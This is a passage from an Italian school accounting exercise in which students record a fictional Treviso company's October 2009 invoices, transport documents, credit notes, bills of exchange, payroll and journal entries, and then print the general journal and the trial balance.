|codice| descrizione         | quantità | prezzo unitario                          |
|------|---------------------|----------|------------------------------------------|
| 87TR | Articolo «a»        |    12700 |                                     0,50 |
|      |                     |          |                                          |
|      |                     |          |                                          |
|      |                     |          |                                          |
|---------------------------------------------------------------------------------|
| Trasporto a cura del  VETTORE          | Causale del trasporto: VENDITA          |
|----------------------------------------|----------------------------------------|
| Data e ora inizio: 06 ottobre 10:30    | Firma del conducente                    |
|----------------------------------------|----------------------------------------|
| Aspetto ester.: cartone    | Colli 11  | Firma del destinatario                  |
|----------------------------------------|----------------------------------------|
| Dati del vettore                       | Data e ora ritiro | Firma vettore       |
| Domenichelli, TV, V.le della Rep. 10   | 17 ottobre 10:30  |                     |
|                                        |                   |                     |
`---------------------------------------------------------------------------------'
```

- Registrare il carico della merce per acquisto in contabilità di magazzino.

17 ottobre

Spedite merci alla ditta Emme ed emesso contestualmente un documento di trasporto. Il trasporto avviene con mezzo del cliente. Per la fattura che ne seguirà, si prevede il pagamento attraverso l'emissione di una cambiale tratta a 30 giorni dalla data della fattura; la banca di appoggio è la «banca del mare».

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Articolo B	5200	1,00	5200,00
IVA 20%			1040,00
bolli (IVA esclusa art. 15)			75,78
Totale fattura			6315,78

- Emettere il documento di trasporto.

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Documento di Trasporto n.1 del 17 Ottobre 2009
Pagina 1 di 1

Spett.le Emme
viale Libertà, 17
10100 Torino (TO)
C.F. e P.I. 02513310017

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.
B	merce B	pz	5200	1,00	0.0

Agente	Peso netto	Peso lordo	N.colli	Volume

Pagamento - Banca
Tratta 30 g.d.f. Banca del mare

Spedizione	Vettore	Trasporto
A MEZZO DESTINATARIO		

Inizio trasporto	Firma vettore	Firma destinatario
data 17-10-2009 ora 10:58		

17 ottobre

Emessa la fattura differita relativa al documento di trasporto del punto precedente.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Articolo B	5200	1,00	5200,00
IVA 20%			1040,00
bolli (IVA esclusa art. 15)			75,78
Totale fattura			6315,78

- Emettere la fattura differita.

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura differita n.4 del 17 Ottobre 2009
Pagina 1 di 1

Spett.le Emme
viale Libertà, 17
10100 Torino (TO)
C.F. e P.I. 02513310017

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
DA D.d.T. n. 1 del 17-10-2009							
B	merce B	pz	5200	1,00		5.200,00	20,00

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
5.200,00				5.200,00	1.040,00	75,80

Pagamento	Castelletto I.V.A.			TOTALE FATTURA
Tratta 30 g.d.f.	Imponibile	Aliquota	Imposta	
Banca d'appoggio	5.200,00	IVA al 20%	1.040,00	**€ 6.315,80**
Banca del mare	75,80	ESCLUSA art. 15	0,00	
ABI 00000 CAB 0				

Date di Scadenza e Importo Rate				Totale dei riporti
16-11-2009 6.315,80	--	--	--	

19 ottobre

Ricevuta dalla ditta Delta la fattura relativa alla fornitura del 17 ottobre, nella quale si addebitano anche spese di trasporto non documentate per 45,00 €+IVA.

```
.------------------------------------------------------------------------------.
| D E L T A   s.p.a.                   | Spett.                                |
| ...                                  | Ditta per le esercitazioni            |
|                                      | ...                                   |
|                                      | ...                                   |
|                                      |                                       |
|------------------------------------------------------------------------------|
| Fattura n. 155/   del 19 ottobre                                             |
|------------------------------------------------------------------------------|
| pagamento: ricevuta bancaria 60 gg d.f. banca di appoggio: banca della valle |
|------------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo        |C.I.|
|------|-----------------------------------------------------------------------|
|      | Da documento di trasporto n. 264 del 17 ottobre |               |    |
| 87TR | Articolo «A»       |  12700 |       0,50 |      |       6.350,00 | 20 |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|---------------------------|--------------------|-----------------------------|
| Totale merce     6.350,00 |    Trasporto  45,00 | Totale netto      6.395,00 |
|------------------------------------------------------------------------------|
| Imponibile         | Aliquota IVA | Imposta o esenzione    | Totale imponibile |
|          6.395,00 |           20 |               1.279,00 |          6.395,00 |
|                   |              |                        |-------------------|
|                   |              |                        | Totale IVA        |
|                   |              |                        |          1.279,00 |
|                   |              |                        |-------------------|
|                   |              |                        | Totale fattura    |
|                   |              |                        |          7.674,00 |
|----------------------------------------------------------|===================|
| Scadenze: 19 dicembre  7.674,00                                              |
'------------------------------------------------------------------------------'
```

- Dal momento che il carico in magazzino della merce è già stato fatto, si procede direttamente con la registrazione in contabilità generale.[2] Si osservi che occorre verificare e inserire il numero di protocollo: deve essere quello successivo all'ultima fattura di acquisto registrata!

19 ottobre

Ricevuta dalla ditta Domenichelli una fattura per un trasporto effettuato in precedenza. La fattura riporta un importo IVA superiore al necessario, ma la si accetta ugualmente.

```
.---------------------------------------------------------------------------.
| DOMENICHELLI s.p.a.                    | Spett.                           |
| ...                                    | Ditta per le esercitazioni       |
|                                        | ...                              |
|                                        | ...                              |
|                                        |                                  |
|---------------------------------------------------------------------------|
| Fattura n. 366/   del 17 ottobre                                          |
|---------------------------------------------------------------------------|
| pagamento Contanti                                                        |
|---------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo         |C.I.|
|------|--------------------|--------|------------|------|----------------|----|
|      | Trasporto          |        |            |      |           69,16 | 20 |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|---------------------------------------------------------------------------|
| Imponibile       | Aliquota IVA | Imposta o esenzione     | Totale imponibile |
|            69,16 |           20 |                   13,84 |             69,16 |
|                  |              |                         |-------------------|
|                  |              |                         | Totale IVA        |
|                  |              |                         |             13,84 |
|                  |              |                         |-------------------|
|                  |              |                         | Totale fattura    |
|                  |              |                         |             83,00 |
|---------------------------------------------------------|===================|
| Scadenze: 17 ottobre   83,00                                              |
`---------------------------------------------------------------------------'
```

Nella fattura ricevuta, il calcolo dell'IVA è stato fatto attraverso lo scorporo, cosa che ha prodotto un valore leggermente superiore al dovuto. In fase di registrazione di questa fattura, occorre ritoccare il valore dell'IVA, in modo da riprodurre i dati effettivi del documento originale, ignorando l'avvertimento dell'applicativo sulla non congruità di tale valore.

- Registrare in contabilità generale la fattura, facendo attenzione a inserire correttamente il valore dell'IVA, in modo conforme alla fattura, anche se il programma segnala che ci può essere un'incongruenza.[3]

20 ottobre

Pagata l'IVA del mese di settembre con delega alla nostra banca. Si tenga presente che l'importo dell'IVA da pagare è già stato calcolato e girato nel conto «debiti per IVA» il cui valore può essere desunto dal bilancio di verifica del 30 settembre.

- Registrare il pagamento in contabilità generale.

24 ottobre

Delle cambiali presentate all'incasso il 10 ottobre la banca ne restituisce una protestata di 680,00 €, a cui si aggiungono le spese di protesto di 11,25 €. Pertanto, il valore complessivo del credito insoluto è di 691,25 €.

- Registrare l'addebito della cambiale protestata, aumentata delle spese di protesto, in contabilità generale.

Cambiali insolute	*cambiali protestate...*	691,25	
banca X c/c			691,25

26 ottobre

Inviate merci ed emessa fattura accompagnatoria alla ditta Zeta. Il trasporto viene effettuato con un nostro mezzo e di conseguenza vengono addebitate le spese di trasporto non documentate per 83,00 €. Il pagamento previsto è con rimessa diretta a 30 giorni dalla data della fattura.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Articolo B	3720	1,00	3720,00
Spese di trasporto non documentate			83,00
Totale			3803,00
IVA 20%			760,60
Totale fattura			4563,60

- Emettere la fattura accompagnatoria.

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura immediata n.5 del 26 Ottobre 2009
Pagina 1 di 1

Spett.le Zeta
via Arbe, 50
20100 Milano (MI)
C.F. e P.I. 01920430483

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
B	merce B	pz	3720	1,00		3.720,00	20,00

Agente	Peso netto	Peso lordo	N.colli	Volume

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
3.720,00			83,00	3.803,00	760,60	

Pagamento: Rimessa diretta 30 g.d.f.

Castelletto I.V.A.

Imponibile	Aliquota	Imposta
3.803,00	IVA al 20%	760,60

TOTALE FATTURA

€ 4.563,60

Date di Scadenza e Importo Rate

Spedizione: A MEZZO MITTENTE

Firma/vettore:

Inizio trasporto: 26.10.2009 ore 11:28

Firma destinatario

27 ottobre

Ricevuta merce dalla ditta Delta.

```
.--------------------------------------------------------------------------.
| D E L T A   s.p.a.                   | Spett.                            |
| ...                                  | Ditta per le esercitazioni        |
|                                      | ...                               |
|                                      | ...                               |
|                                      | PROTOCOLLO 044                    |
|--------------------------------------------------------------------------|
| Documento di trasporto n. 281/   del 27 ottobre                          |
|--------------------------------------------------------------------------|
|codice| descrizione         | quantità | prezzo unitario                   |
|------|---------------------|----------|-----------------------------------|
| 87TR | Articolo «A»        |    10500 |                              0,60 |
|      |                     |          |                                   |
|      |                     |          |                                   |
|      |                     |          |                                   |
|--------------------------------------------------------------------------|
| Trasporto a cura del  VETTORE          | Causale del trasporto: VENDITA  |
|----------------------------------------|---------------------------------|
| Data e ora inizio: 06 ottobre 10:30    | Firma del conducente            |
|----------------------------------------|---------------------------------|
| Aspetto ester.: cartone    | Colli 10  | Firma del destinatario          |
|----------------------------------------|---------------------------------|
| Dati del vettore                       | Data e ora ritiro | Firma vettore |
| Domenichelli, TV, V.le della Rep. 10   | 27 ottobre 10:30  |               |
'--------------------------------------------------------------------------'
```

- Contabilizzare il carico della merce per acquisto in contabilità di magazzino.

27 ottobre

La merce ricevuta dalla ditta Delta è stata trasportata da Domenichelli che ci consegna, assieme alla merce, la fattura per le spese di trasporto che sono a nostro carico.

```
.--------------------------------------------------------------------------.
| DOMENICHELLI s.p.a.                  | Spett.                            |
| ...                                  | Ditta per le esercitazioni        |
|                                      | ...                               |
|                                      | ...                               |
|                                      |                                   |
|--------------------------------------------------------------------------|
| Fattura n. 395/   del 27 ottobre       banca di appoggio: banca della valle |
|--------------------------------------------------------------------------|
| pagamento: ricevuta bancaria 60 gg. d.f.                                 |
|--------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo         |C.I.|
|------|--------------------|--------|------------|------|----------------|----|
|      | Trasporto          |        |            |      |          87,00 | 20 |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|--------------------------------------------------------------------------|
| Imponibile        | Aliquota IVA | Imposta o esenzione     | Totale imponibile |
|             87,00 |           20 |                   17,40 |             87,00 |
|                   |              |                         |-------------------|
|                   |              |                         | Totale IVA        |
|                   |              |                         |             17,40 |
|                   |              |                         |-------------------|
|                   |              |                         | Totale fattura    |
|                   |              |                         |            104,40 |
|--------------------------------------------------------------|===================|
| Scadenze: 27 dicembre   104,40                                            |
'--------------------------------------------------------------------------'
```

- Contabilizzare il costo di trasporto in contabilità generale.

27 ottobre

Ricevuta fattura dalla ditta Delta.

```
.--------------------------------------------------------------------------------.
| D E L T A   s.p.a.                    | Spett.                                 |
| ...                                   | Ditta per le esercitazioni             |
|                                       | ...                                    |
|                                       | ...                                    |
|                                       |                                        |
|--------------------------------------------------------------------------------|
| Fattura n. 170/   del 27 ottobre                                               |
|--------------------------------------------------------------------------------|
| pagamento: ricevuta bancaria 60 gg d.f. banca di appoggio: banca della valle |
|--------------------------------------------------------------------------------|
|codice| descrizione         |quantità|pr. unitario|sconto|importo         |C.I.|
|------|-------------------------------------------------------------------------|
|      | Da documento di trasporto n. 281 del 27 ottobre |                 |    |
| 87TR | Articolo «A»        |  10500 |       0,60 |      |       6.300,00 | 20 |
|      |                     |        |            |      |                 |    |
|      |                     |        |            |      |                 |    |
|      |                     |        |            |      |                 |    |
|----------------------------|----------------------|----------------------------|
| Totale merce     6.300,00 |                      | Totale netto      6.300,00 |
|--------------------------------------------------------------------------------|
| Imponibile        | Aliquota IVA | Imposta o esenzione    | Totale imponibile |
|          6.300,00 |           20 |               1.260,00 |          6.300,00 |
|                   |              |                        |-------------------|
|                   |              |                        | Totale IVA        |
|                   |              |                        |          1.260,00 |
|                   |              |                        |-------------------|
|                   |              |                        | Totale fattura    |
|                   |              |                        |          7.560,00 |
|---------------------------------------------------------|===================|
| Scadenze: 27 ottobre   7.560,00                                               |
'--------------------------------------------------------------------------------'
```

- Contabilizzare l'acquisto in contabilità generale.

30 ottobre

Il cliente Zeta ci restituisce merce B.

```
.---------------------------------------------------------------------------.
| Z E T A                             | Spett.                              |
| ...                                 | Ditta per le esercitazioni          |
|                                     | ...                                 |
|                                     | ...                                 |
|                                     | PROTOCOLLO 045                      |
|---------------------------------------------------------------------------|
| Documento di trasporto n. 245/   del 30 ottobre                           |
|---------------------------------------------------------------------------|
|codice| descrizione        | quantità | prezzo unitario                    |
|------|--------------------|----------|------------------------------------|
|      | Articolo «B»       |      720 |                               1,00 |
|      |                    |          |                                    |
|      |                    |          |                                    |
|      |                    |          |                                    |
|---------------------------------------------------------------------------|
| Trasporto a cura del         VETTORE  | Causale del trasporto: RESO       |
|---------------------------------------|-----------------------------------|
| Aspetto ester.: cartone    | Colli 05 | Firma del destinatario            |
|---------------------------------------|-----------------------------------|
| Dati del vettore                      | Data e ora ritiro | Firma vettore |
| Domenichelli, TV, V.le della Rep. 10  | 27 ottobre 10:30  |               |
'---------------------------------------------------------------------------'
```

- Non si deve registrare, perché il giorno 31 ottobre viene poi emessa una nota di accredito, con la quale si aggiorna automaticamente la contabilità di magazzino.

30 ottobre

Il cliente Zeta ci invia un assegno a saldo della vendita del 26 ottobre, dedotto dell'importo della merce resaci.

Valore della merce resa: $720 \times 1{,}00 = 720{,}00$; valore della merce resa più IVA = $720{,}00 \times 1{,}20 = 864{,}00$; importo dovuto dal cliente = $4563{,}60 - 864{,}00 = 3699{,}60$.

- Registrare il ricevimento dell'assegno in contabilità generale.

30 ottobre

Liquidati salari e stipendi per 6850,00 €, assegni familiari e indennità di malattia 205,00 €.

- Registrare l'operazione in contabilità generale.

Salari e stipendi	*liquidazione salari e stipendi*	6850,00	
Istituti previdenziali		205,00	
Personale c/retribuzioni			7055,00

31 ottobre

Pagate le retribuzioni a mezzo assegno bancario effettuando ritenute sociali per 606,22 € e ritenute fiscali per 875,00 €.

- Registrare l'operazione in contabilità generale.

Personale c/retribuzioni	*pagamento dipendenti...*	7055,00	
Istituti previdenziali			606,22
Debiti per ritenute da versare			875,00
Banca X c/c			5573,78

31 ottobre

Liquidati contributi sociali a carico dell'azienda per 2787,00 €.

- Registrare l'operazione in contabilità generale.

Oneri sociali	*liquidazione contributi...*	2787,00	
Istituti previdenziali			2787,00

31 ottobre

Inviata nota di accredito alla ditta Zeta per la merce resa il 30 ottobre. Per il tipo di pagamento va indicato il tipo nullo, corrispondente alla sigla «−−».

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Articolo B	720	1,00	720,00
IVA 20%			144,00
Totale nota accredito			864,00

- Emettere la nota di accredito.

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Nota di credito n.3 del 31 Ottobre 2009
Pagina 1 di 1

Spett.le Zeta
via Arbe, 50
20100 Milano (MI)
C.F. e P.I. 01920430483

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
B	merce B	pz	720	1,00		720,00	20,00

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
720,00				720,00	144,00	

Pagamento	Castelletto I.V.A.			TOTALE FATTURA
	Imponibile	Aliquota	Imposta	
--	720,00	IVA al 20%	144,00	**€ 864,00**

Date di Scadenza e Importo Rate				Totale dei riporti
31-10-2009 864,00	--	--	--	

31 ottobre

Si emettono le cambiali tratte delle fatture di vendita che prevedono questo tipo di pagamento, relative al mese di ottobre.

- Emettere le cambiali tratte.

CAMBIALE TRATTA N. 1

Data di pagamento 07-11-2009 euro € 8483.80

pagherete la somma di
€ ottomilaquattrocentoottantatre/80
alla spett.le Azienda... (int2)

versata a mezzo Banca x c/c

a SALDO della Ns. Fattura N. 2/1 del 08-10-2009 di € 8483.80

Azienda...
(int2)
piazza della Vittoria 3/4 Tel.
31100 TREVISO (TV)
P.I. 80011540269
C.F. 80011540269

INCASSARE TRAMITE	EGR.SIG./SPETT.LE	
Banca del mare ABI 0 CAB 0 ()	Emme viale Libertà, 17 10100 Torino (TO) P.I. 02513310017	firma bolli a tergo 103.05

CAMBIALE TRATTA N. 2

Data di pagamento 12-11-2009 euro € 212.60

pagherete la somma di
€ duecentododici/60
alla spett.le Azienda... (int2)

versata a mezzo Banca x c/c

a SALDO della Ns. Fattura N. 3/1 del 13-10-2009 di € 212.60

Azienda...
(int2)
piazza della Vittoria 3/4 Tel.
31100 TREVISO (TV)
P.I. 80011540269
C.F. 80011540269

INCASSARE TRAMITE	EGR.SIG./SPETT.LE	
Banca della valle ABI 0 CAB 0 ()	Yankee via dei coniugi, 15 31100 Treviso (TV) P.I. 00496700261	firma bolli a tergo 2.60

CAMBIALE TRATTA N. 3

Data di pagamento 16-11-2009 euro € 6315.80

pagherete la somma di
€ seimilatrecentoquindici/80
alla spett.le Azienda... (int2)

versata a mezzo Banca x c/c

a SALDO della Ns. Fattura N. 4/1 del 17-10-2009 di € 6315.80

Azienda...
(int2)
piazza della Vittoria 3/4 Tel.
31100 TREVISO (TV)
P.I. 80011540269
C.F. 80011540269

INCASSARE TRAMITE	EGR.SIG./SPETT.LE	
Banca del mare ABI 0 CAB 0 ()	Emme viale Libertà, 17 10100 Torino (TO) P.I. 02513310017	firma bolli a tergo 76.70

31 ottobre

Viene emessa la distinta delle tratte emesse.

- Stampare la distinta effetti.

Scadenza	Effetto	Cliente / Indirizzo,P.IVA / Fattura	Appoggio	Importo
07-11-2009	n.1 del 31-10-2009 a saldo	Emme viale Libertà, 17 10100 Torino (TO) P.IVA 02513310017 Fatt.n.2 del 08-10-2009	ABI 0 CAB 0 Banca del mare	8.483,80
12-11-2009	n.2 del 31-10-2009 a saldo	Yankee via dei coniugi, 15 31100 Treviso (TV) P.IVA 00496700261 Fatt.n.3 del 13-10-2009	ABI 0 CAB 0 Banca della valle	212,60
16-11-2009	n.3 del 31-10-2009 a saldo	Emme viale Libertà, 17 10100 Torino (TO) P.IVA 02513310017 Fatt.n.4 del 17-10-2009	ABI 0 CAB 0 Banca del mare	6.315,80
			3 CAMBIALI TRATTE per un totale di € 15.012,20	
			TOTALE DEGLI EFFETTI VERSATI €	**15.012,20**

127.11.4 Conclusione della prima parte

I documenti da presentare per la correzione sono i seguenti. Si faccia attenzione anche all'ordine che questi devono avere:

- bilancio di verifica iniziale, del 30 settembre;
- fattura di vendita del 3 ottobre;
- nota di accredito a cliente del 3 ottobre;
- nota di accredito a cliente del 5 ottobre;
- fattura di vendita del 8 ottobre;
- fattura di vendita del 13 ottobre;
- documento di trasporto del 17 ottobre;
- fattura di vendita del 17 ottobre;
- fattura di vendita del 26 ottobre;
- nota di accredito a cliente del 31 ottobre;
- cambiale tratta della fattura di vendita del 8 ottobre;
- cambiale tratta della fattura di vendita del 13 ottobre;
- cambiale tratta della fattura di vendita del 17 ottobre;
- distinta effetti delle cambiali tratte.

I documenti devono avere la data prevista, essere impaginati correttamente e ordinati come sopra indicato.

Si faccia attenzione anche all'ordine con cui vengono fornite le stampe per la correzione, dal momento che questo è uno dei fattori determinanti all'interno della valutazione che se ne può ottenere.

127.12 Verifica integrata guidata (int2) - seconda parte

Riprende la seconda parte della verifica. Da questo punto in avanti, se si riscontrano errori, si deve intervenire esclusivamente nella contabilità generale o nella contabilità di magazzino.

31 ottobre

Si aggiorna la contabilità per le fatture e le cambiali tratte emesse; si controlla la quadratura della contabilità generale; si stampa il giornale di contabilità generale per effettuare il controllo manuale delle operazioni.

- Si contabilizzano in contabilità generale, automaticamente, le fatture, le note di accredito e gli effetti attivi, verificando che la data di registrazione coincida con quella della fattura.
- Da `Fine anno`, `Controlli`, `Controllo sbilancio movimenti contabili`, si deve verificare la quadratura delle scritture contabili (in prima nota). Se si presentano errori, occorre procedere con le correzioni necessarie.
- Stampare il giornale di contabilità generale.
- Controllare la corrispondenza della stampa con le operazioni da effettuare nel corso della verifica.
- Correggere eventuali errori con la variazione dei movimenti in prima nota.
- Se sono stati riscontrati degli errori successivi alla stampa del giornale, dopo la loro correzione si deve ristampare il giornale e ricontrollare le operazioni modificate o aggiunte.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2009/1

Libro Giornale dal 30-09-2009 al 31-10-2009

Progr.	Data Reg.	Descrizione Operazione / Num. e Data Doc.	N.Conto	Nome Conto	Dare	Avere
1	30-09-2009	Situazione dei conti al 30 settembre	103000004	Emme	7.763,90	
2			103000005	Yankee	6.291,60	
3			103000006	Zeta	7.211,61	
4			197000020	Banca x c/c	4.338,00	
5			598000001	Bilancio di apertura		25.605,11
6	30-09-2009	Situazione dei conti al 30 settembre	105000005	Cambiali attive	12.835,80	
7			108000030	Denaro in cassa	6.670,30	
8			102000005	Macchine d'ufficio	8.000,00	
9			102000001	Terreni e fabbricati	80.000,00	
10			598000001	Bilancio di apertura		107.506,10
11	30-09-2009	Situazione dei conti al 30 settembre	330000004	Merci c/acquisti	60.487,00	
12			315000004	Consulenze	2.285,70	
13			420000011	Ribassi e abbuoni passivi	83,00	
14			322000001	Salari e stipendi	3.121,00	
15			322000002	Oneri sociali	2.670,00	
16			315000001	Costi di trasporto	278,00	
17			598000001	Bilancio di apertura		68.924,70
18	30-09-2009	Situazione dei conti al 30 settembre	598000001	Bilancio di apertura	53.701,81	
19			212000004	Delta		18.138,24
20			212000005	Errex		21.031,42
21			212000006	Domenichelli		101,15
22			214000020	Cambiali passive		5.431,00
23			217000001	Debiti per TFRL		9.000,00
24	30-09-2009	Situazione dei conti al 30 settembre	598000001	Bilancio di apertura	97.320,10	
25			105000040	Fondo svalutazione crediti		1.317,00
26			215000003	Debiti per imposte		1.100,00
27			102000011	Fondo ammortamento fabbricati		22.515,00
28			588000011	Istituti previdenziali		1.485,00
29			215000005	Debiti per IVA		1.000,00
30			210000001	Patrimonio netto		69.903,10
31	30-09-2009	Situazione dei conti al 30 settembre	598000001	Bilancio di apertura	51.014,00	
32			420000006	Merci c/vendite		50.912,00
33			330000011	Ribassi e abbuoni attivi		102,00
34	02-10-2009	FATTURA DI ACQUISTO	212000005	Errex		1.555,20
35		n.123/1 del 02-10-2009	330000004	Merci c/acquisti	1.296,00	
36			106000001	IVA ns/credito	259,20	
37	02-10-2009	PAGAMENTO SPESE DI TRASPORTO	212000006	Domenichelli	101,15	
38			197000020	Banca x c/c		101,15
39	02-10-2009	RISCOSSIONE FATTURA	108000020	Assegni	3.240,00	
40			103000005	Yankee		3.240,00
41	03-10-2009	FATTURA IMMEDIATA A CLIENTE	103000006	Zeta	3.420,00	
42		n.1/1 del 03-10-2009	420000006	Merci c/vendite		2.850,00
43			215000001	IVA ns/debito		570,00
44	03-10-2009	NOTA CREDITO A CLIENTE	103000005	Yankee		360,00
45		n.1/1 del 03-10-2009	420000011	Ribassi e abbuoni passivi	300,00	
46			215000001	IVA ns/debito	60,00	
47	05-10-2009	VERSAMENTO SU C/C BANCARIO	108000030	Denaro in cassa		3.850,00
48			197000020	Banca x c/c	7.090,00	
49			108000020	Assegni		3.240,00
50	05-10-2009	NOTA CREDITO A CLIENTE	103000006	Zeta		68,40
51		n.2/1 del 05-10-2009	420000011	Ribassi e abbuoni passivi	57,00	
52			215000001	IVA ns/debito	11,40	
53	05-10-2009	riscossione fattura del 3 ottobre	108000020	Assegni	3.351,60	
54			103000006	Zeta		3.351,60
55	06-10-2009	VERSAMENTO SU C/C BANCARIO	197000020	Banca x c/c	3.351,60	
56			108000020	Assegni		3.351,60
57	06-10-2009	Presentazione cambiali allo sconto	105000006	Cambiali allo sconto	5.680,00	
58			105000005	Cambiali attive		5.680,00
				a riporto :	432.289,77	432.289,77

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Libro Giornale dal 30-09-2009 al 31-10-2009

Progr.	Data Reg.	Descrizione Operazione / Num. e Data Doc.	N.Conto	Nome Conto	Dare	Avere
				da riporto :	432.289,77	432.289,77
59	07-10-2009	Sconto cambiali	197000020	Banca x c/c	5.486,88	
60			341000040	Oneri finanziari diversi	193,12	
61			105000006	Cambiali allo sconto		5.680,00
62	08-10-2009	FATTURA IMMEDIATA A CLIENTE	103000004	Emme	8.483,80	
63		n.2/1 del 08-10-2009	420000006	Merci c/vendite		6.985,00
64			215000001	IVA ns/debito		1.397,00
65			420000003	Rimborsi costi di vendita		101,80
66	08-10-2009	EMESSA CAMBIALE TRATTA	103000004	Emme		8.483,80
67		n.1/1 del 08-10-2009	105000007	Cambiali all'incasso	8.483,80	
68	09-10-2009	interessi di mora	212000004	Delta		57,95
69		n.147/1 del 09-10-2009	341000001	Interessi passivi verso fornit	57,95	
70	09-10-2009	Pagamento oneri sociali a carico dell	588000011	Istituti previdenziali	1.485,00	
71			197000020	Banca x c/c		1.485,00
72	10-10-2009	Presentazioni cambiali all'incasso	105000005	Cambiali attive		3.635,00
73			105000007	Cambiali all'incasso	3.635,00	
74	11-10-2009	Incasso cambiali attive	105000007	Cambiali all'incasso		3.635,00
75			197000020	Banca x c/c	3.635,00	
76	11-10-2009	Addebito commissioni bancarie	197000020	Banca x c/c		8,90
77			315000013	Costi d'incasso	8,90	
78	12-10-2009	FATTURA DI ACQUISTO	212000005	Errex		2.862,00
79		n.154/1 del 12-10-2009	330000004	Merci c/acquisti	2.385,00	
80			106000001	IVA ns/credito	477,00	
81	13-10-2009	FATTURA IMMEDIATA A CLIENTE	103000005	Yankee	212,60	
82		n.3/1 del 13-10-2009	420000006	Merci c/vendite		175,00
83			215000001	IVA ns/debito		35,00
84			420000003	Rimborsi costi di vendita		2,60
85	13-10-2009	EMESSA CAMBIALE TRATTA	103000005	Yankee		212,60
86		n.2/1 del 13-10-2009	105000007	Cambiali all'incasso	212,60	
87	17-10-2009	FATTURA DIFFERITA A CLIENTE	103000004	Emme	6.315,80	
88		n.4/1 del 17-10-2009	420000006	Merci c/vendite		5.200,00
89			215000001	IVA ns/debito		1.040,00
90			420000003	Rimborsi costi di vendita		75,80
91	17-10-2009	EMESSA CAMBIALE TRATTA	103000004	Emme		6.315,80
92		n.3/1 del 17-10-2009	105000007	Cambiali all'incasso	6.315,80	
93	19-10-2009	FATTURA DI ACQUISTO	212000004	Delta		7.674,00
94		n.155/1 del 19-10-2009	330000004	Merci c/acquisti	6.395,00	
95			106000001	IVA ns/credito	1.279,00	
96	19-10-2009	FATTURA DI ACQUISTO	212000006	Domenichelli		83,00
97		n.366/1 del 19-10-2009	315000001	Costi di trasporto	69,16	
98			106000001	IVA ns/credito	13,84	
99	20-10-2009	Pagata l'IVA di settembre	215000005	Debiti per IVA	1.000,00	
100			197000020	Banca x c/c		1.000,00
101	24-10-2009	Cambiali protestate	105000011	Cambiali insolute	691,25	
102			197000020	Banca x c/c		691,25
103	26-10-2009	FATTURA IMMEDIATA A CLIENTE	103000006	Zeta	4.563,60	
104		n.5/1 del 26-10-2009	420000003	Rimborsi costi di vendita		83,00
105			420000006	Merci c/vendite		3.720,00
106			215000001	IVA ns/debito		760,60
107	27-10-2009	Fattura di trasporto	212000006	Domenichelli		104,40
108		n.395/1 del 27-10-2009	315000001	Costi di trasporto	87,00	
109			106000001	IVA ns/credito	17,40	
110	27-10-2009	FATTURA DI ACQUISTO	212000004	Delta		7.560,00
111		n.170/1 del 27-10-2009	330000004	Merci c/acquisti	6.300,00	
112			106000001	IVA ns/credito	1.260,00	
113	30-10-2009	Ricevuto assegno a saldo della vendit	103000006	Zeta		3.699,60
114			108000020	Assegni	3.699,60	
115	30-10-2009	Liquidazione salari e stipendi	322000001	Salari e stipendi	6.850,00	
116			588000011	Istituti previdenziali	205,00	
				a riporto :	512.108,87	505.053,87

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2009/3

Libro Giornale dal 30-09-2009 al 31-10-2009

Progr.	Data Reg.	Descrizione Operazione / Num. e Data Doc.	N.Conto	Nome Conto	Dare	Avere
				da riporto :	512.108,87	505.053,87
117			215000020	Personale c/retribuzioni		7.055,00
118	31-10-2009	Pagamento dipendenti	215000020	Personale c/retribuzioni	7.055,00	
119			588000011	Istituti previdenziali		606,22
120			215000002	Debiti per ritenute da versare		875,00
121			197000020	Banca x c/c		5.573,78
122	31-10-2009	Liquidazione contributi	322000002	Oneri sociali	2.787,00	
123			588000011	Istituti previdenziali		2.787,00
124	31-10-2009	NOTA CREDITO A CLIENTE	103000006	Zeta		864,00
125		n.3/1 del 31-10-2009	420000010	Resi su vendite	720,00	
126			215000001	IVA ns/debito	144,00	
TOTALI :					522.814,87	522.814,87

31 ottobre

Viene effettuata la stampa del bilancio di verifica.

- Stampare il bilancio di verifica.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

BILANCIO DAL 30-09-2009 AL 31-10-2009

SITUAZIONE PATRIMONIALE AL 31-10-2009

ATTIVO				
102	IMMOBILIZZAZIONI MATERIALI			
